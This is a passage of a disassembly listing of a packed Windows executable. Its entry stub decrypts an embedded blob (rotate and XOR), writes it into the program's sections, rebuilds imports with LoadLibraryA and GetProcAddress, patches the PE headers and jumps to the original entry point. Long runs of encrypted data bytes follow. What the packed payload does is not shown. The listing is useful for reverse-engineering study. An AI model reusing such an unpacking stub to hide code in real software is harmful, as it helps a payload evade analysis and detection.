; sub_41E618+6Cr ... dword_4395AC dd 0 ; DATA XREF: sub_41E9B4+2Fw ; sub_41EA27+300w ... dword_4395B0 dd 0 ; DATA XREF: sub_41E9B4+3Cw ; sub_41ED3F+5r ... dword_4395B4 dd 0 ; DATA XREF: sub_41EA27+229r ; sub_41EA27+249r ... dword_4395B8 dd 3E0000h ; DATA XREF: sub_41C2DD+5Fr ; sub_41D01D+5Dr ... dword_4395BC dd 1 ; DATA XREF: sub_41C2DD+13r ; sub_41D01D+Fr ... dword_4395C0 dd 142340h ; DATA XREF: start-1C23Fw ; sub_42266B:loc_42267Cr ... align 1000h _text ends ; Section 2. (virtual address 0003A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0003A000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rdata segment para public 'CODE' use32 assume cs:_rdata ;org 43A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near var_820 = byte ptr -820h ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 0041DCB6 SIZE 0000019B BYTES ; FUNCTION CHUNK AT 0041DE7C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043A10B SIZE 0000023E BYTES push ebp sub esp, 81Ch mov ebp, esp nop mov eax, 81Ch nop nop nop nop loc_43A013: ; CODE XREF: start+22j mov [esp+eax+820h+var_820], al cmp eax, 100h jl short loc_43A021 mov [esp+eax+820h+var_820], 0 loc_43A021: ; CODE XREF: start+1Bj dec eax jnz short loc_43A013 mov [esp+eax+820h+var_820], al jmp loc_43A10B start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43A02C proc near ; CODE XREF: start+11Dp start+12Ep ... mov eax, [ebp+804h] mov ebx, [ebp+808h] nop add eax, ebx cmp eax, 8 mov eax, [ebp+804h] jl short loc_43A04F mov ebx, 8 sub ebx, eax loc_43A04F: ; CODE XREF: sub_43A02C+1Aj mov [ebp+80Ch], ebx mov ecx, 8 mov edx, [ebp+804h] sub ecx, edx sub ecx, ebx mov ch, 8 sub ch, bl mov eax, [ebp+800h] mov dl, ss:byte_43B000[eax] ror dl, 6 xor dl, 97h shl dl, cl mov cl, ch shr dl, cl mov eax, [ebp+808h] mov ebx, [ebp+804h] add eax, ebx cmp eax, 8 jl short loc_43A0F6 mov eax, [ebp+800h] inc eax mov [ebp+800h], eax mov eax, [ebp+808h] mov ebx, [ebp+80Ch] sub eax, ebx mov [ebp+810h], eax mov ecx, 8 sub ecx, eax mov ebx, 8 mov eax, [ebp+808h] sub ebx, eax mov ch, bl mov eax, [ebp+800h] mov bl, ss:byte_43B000[eax] ror bl, 6 xor bl, 97h shl bl, cl mov cl, ch shr bl, cl or dl, bl mov eax, [ebp+810h] mov [ebp+804h], eax jmp short locret_43A10A ; --------------------------------------------------------------------------- loc_43A0F6: ; CODE XREF: sub_43A02C+68j mov eax, [ebp+804h] mov ebx, [ebp+808h] add eax, ebx mov [ebp+804h], eax locret_43A10A: ; CODE XREF: sub_43A02C+C8j retn sub_43A02C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_43A10B: ; CODE XREF: start+27j xor edi, edi mov esi, 100h loc_43A112: ; CODE XREF: start+1FAj mov eax, 8 mov [ebp+808h], eax call sub_43A02C push edx mov eax, 3 mov [ebp+808h], eax call sub_43A02C xchg dh, dl pop ecx or edx, ecx push edx mov eax, 3 mov [ebp+808h], eax call sub_43A02C cmp edx, 0 jnz short loc_43A153 mov edx, 8 loc_43A153: ; CODE XREF: start+14Cj pop ecx push ecx push edx loc_43A156: ; CODE XREF: start+1C2j mov eax, ss:[ecx+ebp] push ebp push ecx mov ecx, edi sub ecx, 0 cmp edi, 27200h jge short loc_43A177 mov ebp, offset sub_401000 mov ss:[ecx+ebp], al jmp short loc_43A190 ; --------------------------------------------------------------------------- loc_43A177: ; CODE XREF: start+16Aj mov ecx, edi sub ecx, 27200h cmp edi, 31000h jge short loc_43A192 mov ebp, offset dword_429000 mov ss:[ecx+ebp], al loc_43A190: ; CODE XREF: start+175j jmp short loc_43A1AB ; --------------------------------------------------------------------------- loc_43A192: ; CODE XREF: start+185j mov ecx, edi sub ecx, 31000h cmp edi, 33600h jge short loc_43A1AD mov ebp, offset dword_433000 mov ss:[ecx+ebp], al loc_43A1AB: ; CODE XREF: start:loc_43A190j nop nop loc_43A1AD: ; CODE XREF: start+1A0j pop ecx pop ebp nop add edx, 814h mov [edx+ebp], al sub edx, 814h inc ecx inc edi dec edx jnz loc_43A156 pop edx pop ecx add edx, 814h loc_43A1D0: ; CODE XREF: start+1ECj mov al, [edx+ebp] mov ss:[esi+ebp], al inc esi cmp esi, 800h jl short loc_43A1E5 mov esi, 100h loc_43A1E5: ; CODE XREF: start+1DEj dec edx cmp edx, 814h jnz short loc_43A1D0 mov ebx, [ebp+800h] cmp ebx, 2907Dh jl loc_43A112 mov edi, 8 mov ebx, offset dword_431F28 loc_43A20A: ; CODE XREF: start+258j mov eax, [ebx] add eax, 400000h push eax call ds:dword_43AFD3 ; LoadLibraryA mov esi, eax push ebx add ebx, 4 mov eax, [ebx] add eax, 400000h mov ebx, eax mov eax, [ebx] loc_43A229: ; CODE XREF: start+251j add eax, 400002h push eax and eax, 80000000h pop eax jz short loc_43A23F and eax, 0FFFFh sub eax, 2 loc_43A23F: ; CODE XREF: start+235j push eax push esi call ds:dword_43AFD7 ; GetProcAddress mov [ebx], eax add ebx, 4 mov eax, [ebx] cmp eax, 0 jnz short loc_43A229 pop ebx add ebx, 14h dec edi jnz short loc_43A20A push esp push 40h push 1000h push 400000h call ds:dword_43AFDB ; VirtualProtect mov ebp, 400000h mov dword ptr [ebp+1F0h], 2719Ah mov dword ptr [ebp+1F4h], 1000h mov dword ptr ss:4001F8h, 27200h mov dword ptr ss:4001FCh, 400h mov dword ptr [ebp+20Ch], 60000020h mov dword ptr [ebp+218h], 9DF0h mov dword ptr [ebp+21Ch], 29000h mov dword ptr ss:400220h, 9E00h mov dword ptr ss:400224h, 27600h mov dword ptr ss:400234h, 40000040h mov dword ptr ss:400240h, 65C4h mov dword ptr ss:400244h, 33000h mov dword ptr ss:400248h, 2600h mov dword ptr ss:40024Ch, 31400h mov dword ptr ss:40025Ch, 0C0000040h mov dword ptr [ebp+118h], 1DCB6h mov dword ptr [ebp+0F6h], 3 mov dword ptr [ebp+170h], 31F1Ch mov dword ptr [ebp+174h], 0B4h add esp, 81Ch pop ebp jmp loc_41DCB6 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0C5h, 15h, 8Eh dd 1E1A1836h, 80316A1h, 0C2080768h, 1C030C13h, 13F70802h dd 1E152115h, 940BD9FCh, 0AC17170Fh, 37012714h, 18058C07h dd 1117018Fh, 1B01AD19h, 4D0E0E18h, 0BC1AA1Dh, 0D0E201Dh dd 0DB033CB9h, 45641268h, 4B390F82h, 17721301h, 0AD110D10h dd 0BD6D0F9h, 133FD20Dh, 1B011E3Dh, 81A0795h, 111084Ch dd 0F1AF1F20h, 0A8861910h, 16273D6Fh, 0BE081BB5h, 0B11F1FDFh dd 189FC6E4h, 0B2160215h, 1962FD0Bh, 829150Ch, 0DB620A93h dd 0F140D7Eh, 15B0209h, 0EB0FD613h, 0D1C1E15h, 0E75401Fh dd 0E005C72Ah, 95200738h, 3E6BF800h, 16B10E22h, 0FA135D1Bh dd 0E0D200Fh, 1420712h, 0B200235h, 0DB03EC8Fh, 101E041Ch dd 310ED0h, 0BADAC63h, 0EC0511B4h, 25D1B75h, 0F9EEB712h dd 0C0C0815h, 0C042309h, 1E2AF7B5h, 3D1F5B8Dh, 0B10F6DEh dd 1112194Ch, 749160Eh, 250818h, 10EF1DCEh, 30AE7218h dd 100B4521h, 8F081204h, 684081Dh, 191E1560h, 3413EEA5h dd 2354008Eh, 80AAB09h, 91E1ECCh, 0EF212h, 101C2C13h, 93283F9h dd 0AACE040Dh, 60D0B53h, 12000D01h, 6601A9C1h, 1C2EFB14h dd 0C3070A0Dh, 150A01BAh, 0DA191E11h, 1FD70E0Bh, 0A0301115h dd 139591C2h, 9C7B030Fh, 69401DBh, 7E1B7207h, 0C090706h dd 94F200D6h, 0A15B0090h, 530C07B2h, 0B5A8F3C8h, 1A1A0BE1h dd 0F2A02E16h, 0B961C3AAh, 65053D04h, 920CDFAh, 1720618Bh dd 0AF144300h, 700B3E6h, 1916F5EEh, 0A130D10h, 2001905h dd 0F5194005h, 0C5100ACBh, 0CD162A02h, 0D0EAF07h, 42190D1Bh dd 0E03E090Dh, 1B118E1Eh, 611D9909h, 460E02E6h, 81A4A60h dd 63072011h, 9B0307E1h, 1700121Dh, 0A0FD21Fh, 19170810h dd 40CAA0DCh, 3100612h, 580E8229h, 0ACD1F7Bh, 812340Ah dd 0C6021101h, 7151F18h, 1B1C9297h, 0B10C0017h, 914FA05h dd 0D101F16h, 1ED61963h, 13BA0D09h, 44AE4902h, 80145D61h dd 0BAE20504h, 1A061521h, 16F2620Ch, 1D078A0Dh, 15829F1Bh dd 6EEEC31Dh, 335CE0Eh, 0B9332307h, 14F9270Ch, 0F6CB3D5h dd 0B85014A1h, 0E817200Dh, 13378788h, 471F3204h, 0E0071206h dd 14CA0F08h, 3D31214h, 91EFF0Fh, 9B1FCD28h, 9031220h dd 9F3B0CB0h, 2A1B095Bh, 1A11E0F7h, 0E20087Ah, 60C0505h dd 0EDA0DA6Fh, 0CF021BD0h, 501C410h, 154C160Ah, 99C12501h dd 1F770C9Eh, 10AD5719h, 40C78F4h, 130E1D6Ch, 4013F671h dd 0BC5A0051h, 70502DAh, 0C101E1Ch, 128AE991h, 70FA922h dd 12F91807h, 1A101B00h, 78F4FF04h, 0CBB1118h, 744C1013h dd 191A6914h, 18151909h, 19013A3Eh, 0C478814h, 1E2E5359h dd 0E4CA1D20h, 15ADF014h, 0FD181719h, 680D1DE0h, 0E315AFA1h dd 0D60C0BEBh, 0A10A1FC4h, 161E0C6Fh, 49F91018h, 77316705h dd 0EE021261h, 1E290A0Ah, 9126702h, 1306E4FCh, 35FF1B0Dh dd 7E091101h, 1D1E1C2Fh, 17761C0Eh, 0C11C5E1Eh, 13F11A18h dd 961A813h, 1612020Bh, 4B188B17h, 71E80C69h, 2D1F751Bh dd 0EA50C808h, 60A610Ah, 4A352003h, 5515195Dh, 80E72C0h dd 0CC070EFEh, 40D7181Bh, 90EE62Dh, 1E651E05h, 57FE1E13h dd 801F2062h, 1D1FFC05h, 1913050Ah, 2010B807h, 5F040205h dd 160A09EAh, 10061B0Dh, 0D0FDA512h, 3D16051Fh, 0DB190E13h dd 0B15166Bh, 4E0814E5h, 948F808h, 6A16F8EFh, 10551B1Ch dd 3E711607h, 17C4060Eh, 16001016h, 339CF3Ah, 8B007603h dd 8D41504h, 1F722014h, 1B200908h, 8603ECEAh, 34173413h dd 1F0F0A1Ah, 1201D0Ch, 7E040536h, 204D804h, 0F225CC6Bh dd 1151131h, 40E95B7h, 0AEB61715h, 6F0708CEh, 0C000E0Ah dd 0CB19151Dh, 0EF63A31Eh, 0F088D7Fh, 0A11C1B07h, 57621B1Ch dd 8CE9200Bh, 1FEC1392h, 17051F07h, 2607BC2Fh, 280E175Bh dd 625B1406h, 0BA0FF605h, 25671B79h, 2920011Eh, 0DC1AC60Dh dd 2082017h, 36C31CE5h, 0A69EC15h, 184FC601h, 0C6207A5Eh dd 1319121Ch, 1E004911h, 1D100B0Ah, 1F91B16h, 7081505h dd 10C508h, 0E9202E08h, 0A3FD1ABBh, 0EB101501h, 0F0E84AFh dd 0A2C2E0Eh, 0DA275E40h, 36B15849h, 33FD0E64h, 1603D3h dd 0D12101Eh, 9A1EBEF7h, 0A6417EC2h, 1F3B1CB1h, 0E471C13h dd 19091300h, 909C58Ch, 14B61C15h, 2446FF53h, 20078D1Dh dd 4F1A0E7Ch, 1113031Ah, 0DA705701h, 0F908C700h, 1C047C0Dh dd 91E6C3Fh, 0A0D9BB8h, 3A090A07h, 440D7E60h, 0F0516C5h dd 9E83B14h, 48BBC9CFh, 4132011h, 301F4h, 1E1F9C0Fh, 1D141C11h dd 0DAA5191Ah, 1A0F472Ch, 0FACD85h, 6B0D1A8Eh, 0A1B0E0Ah dd 0B1B7603h, 0F01E203Dh, 3338A20Ch, 36541374h, 70F50AE6h dd 0CA1C3A4Eh, 0DF2A8A7Fh, 561B0D1Ch, 20F4887h, 0E81F1AEDh dd 17FB191Eh, 541E151Eh, 0A4BF6E2h, 15808714h, 67117E10h dd 9E21A267h, 1C0C0A1Ch, 615F8315h, 0AA19A1Eh, 12F30537h dd 133C360Bh, 0D41A5107h, 0EC130310h, 458B6A1Bh, 1FE04D1h dd 1C40110Eh, 13751C17h, 422A180Bh, 1D25DFh, 0B4611C11h dd 5601BE5h, 0B450C07h, 5091C1Dh, 0C5AA1E8h, 20163D0Ch dd 100C0B2Bh, 112D16E3h, 1601AF11h, 0ECEC05D7h, 1814EFD6h dd 1D0B0889h, 0A0FE71Dh, 1F1E1120h, 0DE50782h, 0C3261054h dd 6B89EE0h, 722000Dh, 5E031F09h, 541B0A17h, 891A101Fh dd 0FCF0902Eh, 0EA1B038Ah, 20857360h, 760C5295h, 1A030E03h dd 7E6D1510h, 0B71A0807h, 22021B18h, 1823AA1Ah, 0C1A2E0Bh dd 16550A1Eh, 1C09B50Eh, 0EDB620Ch, 12C276E8h, 44762Eh dd 2B1C031Eh, 1F05B1F9h, 0C7D410C7h, 950C14BAh, 750908Ah dd 0FF1A590Eh, 1F9B0FB7h, 0E0B19503h, 0C0F011Eh, 2A6AEB27h dd 0A4C1D1Dh, 24EE15E4h, 0EACB1814h, 0D20CD410h, 0C083A08h dd 81184A1Ah, 0F550D1Ah, 0F263220Fh, 0D23C0F23h, 9A1E1DBBh dd 2E062514h, 0D61968EFh, 1C350758h, 0C200304h, 8D25829h dd 0A0205F2h, 5030509h, 4020B859h, 21090220h, 0EA0DC077h dd 0F51E01BFh, 141D74h, 80321FFFh, 0C61F00FBh, 0D103505h dd 85B30919h, 9D990E84h, 608800C3h, 19FB180Ah, 1BC01116h dd 3A565A05h, 1B3A48C7h, 10D2ABBEh, 1C50F9AEh, 180FEB71h dd 1D1A0030h, 0EA3B6B16h, 8607C30Ah, 0FF1D4406h, 0B1DA6h dd 47D00F12h, 600C893Ch, 50AC3EFh, 0E80F18E1h, 0D32000E3h dd 94111114h, 0E1A41607h, 2060119h, 901DA11h, 30A3D25h dd 120D1317h, 0FA02091Eh, 7207AE20h, 9B81911h, 12C00D15h dd 55790D12h, 3E097810h, 509141Ch, 11010751h, 60DE4702h dd 0E161711h, 0C7ECFC08h, 9731004h, 17A91CD7h, 0F4AC3720h dd 1F180204h, 831A041Fh, 36748317h, 0B121115h, 0E119FC03h dd 0F17016Dh, 137C490Ch, 0A06A213h, 5057012h, 0E181D09h dd 1A181500h, 2D0A9F00h, 6505B4CCh, 20FA0B07h, 0F31E0506h dd 0D308891Fh, 94041409h, 0C1A4C17h, 73126B30h, 5301131Ah dd 1EA8E9F3h, 0F1476FFh, 5FB73EF8h, 64EFEFDh, 103FC209h dd 1D07110Eh, 663DF632h, 3200908h, 0D3567BA8h, 0C8417C4h dd 1417DD09h, 0F37D1B06h, 17150517h, 641A151Fh, 74181E1Ch dd 0B08A1019h, 91CA01Ah, 1DF0F174h, 0A111408h, 26000000h dd 1D1A1F0Ch, 433541Dh, 5E130312h, 8CB372B2h, 4E146A64h dd 1E0314F8h, 52190AF1h, 11BB070Eh, 877119BAh, 0E21DB0FDh dd 0C151DE2Ch, 5C01D1Ah, 64B12A85h, 0B7055CAh, 41041788h dd 56B41318h, 136D7518h, 70489FDh, 82170B9Eh, 1A080D0Fh dd 6DA41442h, 0F71D1569h, 12175C01h, 200CA5B2h, 1DE5DA10h dd 6061B89h, 6607B865h, 8B1B192Bh, 1C04781Fh, 0CBDDB8E5h dd 0A1E1A09h, 7B0E0E6Dh, 2F70A12h, 601C580Ah, 904B281Ah dd 4CC68517h, 12047723h, 0E419A90Ah, 8305F1D8h, 800F06EFh dd 4F00F18h, 11A04B1Eh, 0F5944201h, 10112005h, 10B9400h dd 305CF1Ch, 1F05D51Ch, 0A51BC1Ah, 2C1948FBh, 0A8080C20h dd 3142518h, 5FE91A12h, 9737062Ch, 0C2BF12D0h, 0CF1FE8A3h dd 157F0D26h, 0AE050D0Ch, 1E08F27Ah, 11161919h, 201B0659h dd 0CC2467D8h, 1103FC05h, 0FF51CE9h, 15070D0Bh, 8F5F0B0Dh dd 1A20CB80h, 5EC1800h, 61630014h, 8011CF4h, 31B31011h dd 1A0D1909h, 0C11917F3h, 14085454h, 69A13CBh, 1C20014Bh dd 12053C01h, 861B310Dh, 1E82FF98h, 19F3F914h, 780E8687h dd 0B10890Bh, 50E1190Eh, 69D0401h, 70C0794h, 390B178Ch dd 0EF089500h, 83E0D14h, 85180F19h, 0F42073Dh, 0A31131C8h dd 2603FC77h, 3242054Bh, 700C4EE5h, 0F216DC0Bh, 9B071CE9h dd 1A7B1519h, 163F2092h, 9C0FFD4Fh, 160919B7h, 1F4D1F2Ch dd 0D48DF5D9h, 151E0384h, 9F1F180Dh, 0B512B109h, 0F0201762h dd 19860118h, 1117C01Ah, 15FA0310h, 0BE04DF07h, 8161C1Ah dd 185DF55Dh, 1700A118h, 1113E000h, 2089DE16h, 8A821FF7h dd 108D1927h, 50D0C1Fh, 40805ACh, 137CBA20h, 47DA0505h dd 0B613220Dh, 0E64116Dh, 181C068Eh, 1175F0Eh, 468490Ch dd 1F01881Ch, 0EEF9A312h, 952016D0h, 0E2A014Eh, 0D3CFDC46h dd 8AE60535h, 0BA4E1D0Dh, 1A470315h, 281C1DCDh, 5C1B8FAh dd 7F384BF3h, 1E1F0F13h, 0D3166811h, 21ABA11h, 0FF0A2504h dd 1D001110h, 0D417FFC0h, 183412E4h, 6020A40Eh, 6E0F1D02h dd 8B1B1C18h, 10351CDBh, 71DAA0Ch, 78065119h, 8F0514D8h dd 8D95246h, 4D651F0Bh, 75F1EC00h, 391F1Ah, 7D18091Eh dd 0B306FA18h, 110FEC16h, 1CB815E5h, 1C51203Bh, 1A2FB912h dd 0B0F020Dh, 1A1204A4h, 197A1518h, 1C0502B0h, 0B0A1A98h dd 0A7040Ah, 17121065h, 27001A4Fh, 0C30FF4AEh, 1B16065Eh dd 3039820h, 7AE1C0Dh, 3115AE1h, 2FED1E6Bh, 5012206h, 0DB461270h dd 12F5CB01h, 6ED80F7Dh, 63C40305h, 3E4C5AE6h, 1E174501h dd 1801101Eh, 0FDE21900h, 131FE109h, 101799F2h, 1ABDCF0Bh dd 10451FD4h, 51081ECFh, 1B721C05h, 3CAAECCh, 0CAD9030Eh dd 7B150FB9h, 3201C1Fh, 0B808FD0Ch, 10B0A20h, 5EB711FEh dd 13C90213h, 6BFAC03h, 870B9C92h, 1C9E20F8h, 1B040C23h dd 42D60D26h, 0CD0C0719h, 7FB1730h, 16151EE9h, 80F0FDDh dd 175A1A0Ah, 1D1C061Dh, 0C43E0B20h, 1F7A1C14h, 180217A4h dd 81D0E11h, 3120D3Bh, 1010817h, 16EF01FEh, 5F040B30h dd 1D19BB65h, 0C670219h, 7705961Ah, 0D450A0Eh, 0F0BAFFDh dd 1012EF77h, 0B717D7A6h, 1103B33Ch, 6C02091Eh, 1B5B0025h dd 1D15029Bh, 75B6820Ah, 1C1C12F6h, 40B8E92h, 270A6CA2h dd 900123Ch, 10201053h, 1019170Ah, 91BE3B8h, 117C110Bh dd 0F30A0B1Eh, 6CEC283h, 2143404h, 29D2631Bh, 0D0D9701Eh dd 3230A1Bh, 0EA533FDFh, 1A351915h, 72E803FEh, 101699CFh dd 0B41C15B2h, 80FABDFh, 4190BF00h, 1A82EF0Ah, 1F1A606Ah dd 0E093C05h, 0E6F6EA33h, 2C05D271h, 5FC3081Bh, 1CD70604h dd 1FEF8F6Eh, 1100DA75h, 164BBC18h, 1DFCD7AFh, 90B0B3Ah dd 0D0EA114h, 201A0113h, 88F1187h, 0FB330CD0h, 0A4E72A0Dh dd 1DB15802h, 0C1E05C0h, 69174147h, 0A4CB0742h, 3AFC375h dd 2 dup(0) dd 3AF8500h, 3AFD300h, 5 dup(0) dd 72654B00h, 336C656Eh, 6C642E32h, 0DF006Ch, 64616F4Ch dd 7262694Ch, 41797261h, 47005300h, 72507465h, 6441636Fh dd 73657264h, 3790073h, 74726956h, 506C6175h, 65746F72h dd 92007463h, 0A10003AFh, 0B20003AFh, 3AFh db 3 dup(0) dword_43AFD3 dd 77E805D8h ; DATA XREF: start+212r dword_43AFD7 dd 77E7A5FDh ; DATA XREF: start+241r dword_43AFDB dd 77E6169Ah ; DATA XREF: start+26Ar align 10h dd 3B000000h, 0FE097215h, 16D90DA4h, 0C190BCC2h, 0C3FD023Dh dd 0A9D9C60Ch, 0D9045514h, 0E5E72EEEh _rdata ends ; Section 3. (virtual address 0003B000) ; Virtual size : 0002A000 ( 172032.) ; Section size in file : 0002A000 ( 172032.) ; Offset to raw data for section: 0003B000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _data segment para public 'DATA' use32 assume cs:_data ;org 43B000h byte_43B000 db 0CBh ; DATA XREF: sub_43A02C+42r ; sub_43A02C+A7r db 0F7h, 0E5h, 4Dh dd 0E5ADE704h, 0C47D6BE7h, 0E7A52DF0h, 0F38461E5h, 0EAF707ADh dd 0ADD0C741h, 796BE7D9h, 0E76DD247h, 4471ED91h, 0D7E52DD9h dd 0ED04712Ah, 21C786EDh, 2DE2C555h, 7523E764h, 14FCE687h dd 6141A5D7h, 0E7B66DAEh, 0E3C749AAh, 0A3E7722Dh, 0EDE8C741h dd 6D69BDE8h, 0E5EDE1C6h, 444C75D7h, 0F77FEDE5h, 0E1A151E5h dd 65F7FDF4h, 2DAB4141h, 556BF772h, 0BBC4F606h, 8565A7E7h dd 0D7E4ADD7h, 0F5C4616Dh, 2DF715EDh, 0FCAE4065h, 5929F7DFh dd 1A2DDA06h, 0C475AAC7h, 0F7E7EDC1h, 0E20475E5h, 6BE770EDh dd 0FCF60555h, 4037C7B3h, 0A52DA201h, 416962E7h, 0E74E2D8Ch dd 48607833h, 0B2A5FE2Dh, 0A4DC85F3h, 49A0B16Bh, 0B12DC9C7h dd 5E875C7h, 0F71A2DD3h, 0F58775A4h, 6381256Dh, 6DE8C579h dd 616AE7B6h, 0E4ADCD84h, 6141E4E7h, 0A149ADB5h, 0A0037122h dd 0A2E7D56Dh, 6DEF8559h, 41ADA10Bh, 0B46DE8C6h, 4756AE7h dd 0C726EDF0h, 0B1A26D2Eh, 0E1E748EDh, 0ADD1C751h, 4DE8E7B1h dd 91EDEDC7h, 4659A2B1h, 0D7586DE0h, 0AD23EC74h, 6D93886Dh dd 0FCCB0665h, 4DE9D797h, 0F3EDE644h, 434DE9D7h, 0E7DE6DA4h dd 0A80175ACh, 23E7846Dh, 0ADB54055h, 6B45E714h, 0C27457EDh dd 0C768BEF7h, 0E7FA6DD8h, 0D0C56C33h, 4C766ADh, 0BCC904E4h dd 4D6EE7A4h, 0F5EDF506h, 469E5E7h, 0E74FF7C8h, 0CD8464C6h dd 0E1F7F4ADh, 0FFF2C469h, 6CBEF7C1h, 0DBC79923h, 444DA081h dd 8DAAEDFDh, 0D004F0B2h, 0A9A3E06Dh, 0FCCBC555h, 4525A19Bh dd 0A6EDFD44h, 46C406C7h, 0E7D0ADFBh, 0AB23E475h, 0E0F7DAF4h dd 6DA5236Dh, 4D6B9388h, 0B46DEE45h, 0C7492BE7h, 0F7E5F4CFh dd 0C1C4716Dh, 0E9E7292Dh, 2DE6C465h, 45A3F707h, 8577E346h dd 467522F7h, 0A1AFEDF2h, 0F0C559E9h, 61E7D56Dh, 0EDEC4571h dd 65A5C7D5h, 0A4EDE0C5h, 0C7E4C6F7h, 0F70534D6h, 0DA065521h dd 6BA16E2Dh, 0BFCE847Dh, 45E563B6h, 4F6DE544h, 0C5D781E7h dd 8D996DF7h, 0B5236DA0h, 0AA538AEDh, 0EDFE8645h, 59E7D7D5h dd 0B0ADB68Ch, 86456BE3h, 0F729BCC9h, 0E005492Bh, 61D7F82Dh dd 0ADCD8471h, 4121C72Dh, 0A1AD8D61h, 0E2EC75E7h, 7D8AAD45h dd 0D8845524h, 89F7AA47h, 378523E7h, 7C8ED7FBh, 1AADF084h dd 0EE65E8D7h, 0B3572D72h, 956E65E4h, 0A07308ADh, 34A6E9C4h dd 0D4873366h, 90AD50C9h, 84D88DC7h, 0D7B2ADFBh, 0A3EF4160h dd 0AAD71F2Dh, 0EDA9ED61h, 0C0B243DFh, 2B74556Dh, 0C559A9C7h dd 0E7C36DE1h, 0D784684Bh, 0A07D5E37h, 0ADF38479h, 69E7E7FFh dd 0A734E66Eh, 2E752731h, 0D7FDB670h, 0B0EEEFD5h, 0E069DB2Dh dd 0B4D5C741h, 0FF15F7E3h, 0DFADA1E8h, 0C444CE53h, 0E71AC6E6h dd 0C54575A2h, 5513B9EDh, 2DDA855Eh, 0F0DCC7C8h, 0ABAD2FEBh dd 21D8552Dh, 0C776F79Fh, 8123E65Fh, 0CED7D4D6h, 66E90544h dd 6CDD35C0h, 9FCD146h, 0F79E663h, 31B9BFB6h, 0AEE87F14h dd 0A729D22Dh, 86DF6A69h, 0E4F2E786h, 0DFADF585h, 57564D7h dd 0F7A57EE3h, 0E507DCF1h, 2263A4F5h, 0EDC14575h, 5124C7DFh dd 0E2AD8DD5h, 84C8ED7h, 7374EDB1h, 818B580Eh, 0FA53DFEDh dd 0EDF446C4h, 6472C7C9h, 0CD34E6C4h, 9416721h, 0E2A6AD61h dd 0CBC4E44Ah, 0CED710C1h, 0EDE7C458h, 792E81AFh, 0EC466A6Eh dd 44C71FC7h, 0E765ADFCh, 1E54E875h, 0E0E7A046h, 0ED9C0F51h dd 75E42181h, 6DEDC904h, 88E67DEh, 0E264EDB5h, 95F54D24h dd 26F70E6Dh, 0ED85D53Fh, 0C4DCB115h, 5D2DCD85h, 6141E6D7h dd 0C7642D8Eh, 0F7C4D4FEh, 9869DB89h, 2DDDC7F2h, 0E448F15Ah dd 0C4EDDCC6h, 437A1E7h, 0E7F1EDEFh, 0F5444DE0h, 0E81FC1EDh dd 0F6CA8459h, 55EDF772h, 153F8DACh, 0C67D6EE7h, 8325ADD9h dd 0ED866160h, 6D61A5F4h, 0ED56E841h, 0C0A0C713h, 0D3ADF8C7h dd 0C694F5F7h, 0F7D1F0E4h, 0CD86B4F5h, 45EEA0ADh, 34A6D6C0h dd 6125E7B8h, 0A0778DF1h, 0F51A3E7h, 0D77FD0B7h, 88F54DA7h dd 75E7C8ADh, 0EDD0C7C8h, 41607DD8h, 0A5ADF684h, 9141E01Fh dd 1BA6DADh, 0B53149A8h, 0F99C6AEDh, 6DEE86FCh, 69A0D7DBh dd 9F4625EEh, 5B3A6F7h, 0D73107CBh, 0CDC78876h, 0A880B03Fh dd 2D956F7Dh, 45EDD71Ah, 52DDA06h, 45D6B61h, 0F71AEDC8h dd 0E40665A1h, 63E7D9B8h, 90CBC77Dh, 7163C731h, 0C6C8E845h dd 705DE5BAh, 0F7DFB719h, 99F36166h, 73C711ADh, 6DA8F0B9h dd 492AC7F7h, 872DEE05h, 0C598B2F7h, 0CCDB6DE9h, 0DA86D48Fh dd 0A1F7AF2Dh, 60E68655h, 6DA79807h, 4200FDB3h, 90A1738Ah dd 0C7252DADh, 952C94B9h, 21E7862Dh, 6DA8B35Dh, 49E5F7F1h dd 0CA2DF405h, 84B0F590h, 0D7262DC9h, 0EC45712Dh, 2BA16386h dd 34F6F379h, 474E7C7h, 236DACBDh, 0F1616964h, 0A0A52D8Dh dd 0CB4645ABh, 77F725ADh, 0AD93E2CCh, 0D402E735h, 0D56DE6C6h dd 0EF69A5E7h, 0D71F2D85h, 852C55E5h, 62E7052Dh, 0B4F98575h dd 0EC02D765h, 0DFFB8777h, 76129C7h, 0B157F4EDh, 0F304B476h dd 0ABA0C5EDh, 0B3ECC769h, 4C6E7E2h, 2BEDD046h, 46B47F62h dd 0D791ADD7h, 0E2C5796Bh, 4BA0FA2Dh, 0F387ED7Ch, 4D67E77Fh dd 4EAD85F5h, 0F6BEC3E7h, 0B3E86DABh, 0A33D7566h, 0C77C4231h dd 7F92231Ch, 49A092AEh, 0B98B87B4h, 6B7CFD7h, 7C8F6DCCh dd 0F87F5D60h, 0AB6C0DADh, 0AD601F55h, 6D61744Eh, 2E8B3C91h dd 5A90FC7h, 0F786C3C4h, 4DED412Dh, 60D7E02Dh, 0FB15CD38h dd 55A1F754h, 0DFEDE406h, 94496FD7h, 817570AAh, 0F8C7074Ah dd 4650A8F0h, 0B79BF324h, 716651BAh, 262DFDC4h, 865D2DC7h dd 929A39ECh, 0DAF3B831h, 6DB28A2Dh, 39EC0459h, 6121BD63h dd 602D893Ch, 3C61A2FCh, 816BED8Ch, 0EDC47377h, 6011AEEDh dd 0BCC32161h, 4DA3418Ch, 626DA621h, 0F1512A91h, 23C1B9BEh dd 0E3C75125h, 0F7E0A7ADh, 7BD9C6F4h, 5165D7DFh, 3B6DAE97h dd 0C7404013h, 0D7E16DE3h, 0F8460460h, 0F6F7F0EDh, 0EDAD001Ch dd 55ED9D8Fh, 31EDD546h, 75DA0C7h, 0C785ADE5h, 0CB84F806h dd 6AF707F4h, 6DC14645h, 5D2D1CCCh, 2B3158BBh, 85D055F7h dd 93886DE1h, 0F8454DA2h, 0E9F72BB4h, 0EDC10469h, 716BE7FFh dd 0FF66C79h, 0FA612241h, 0C7D97FE7h, 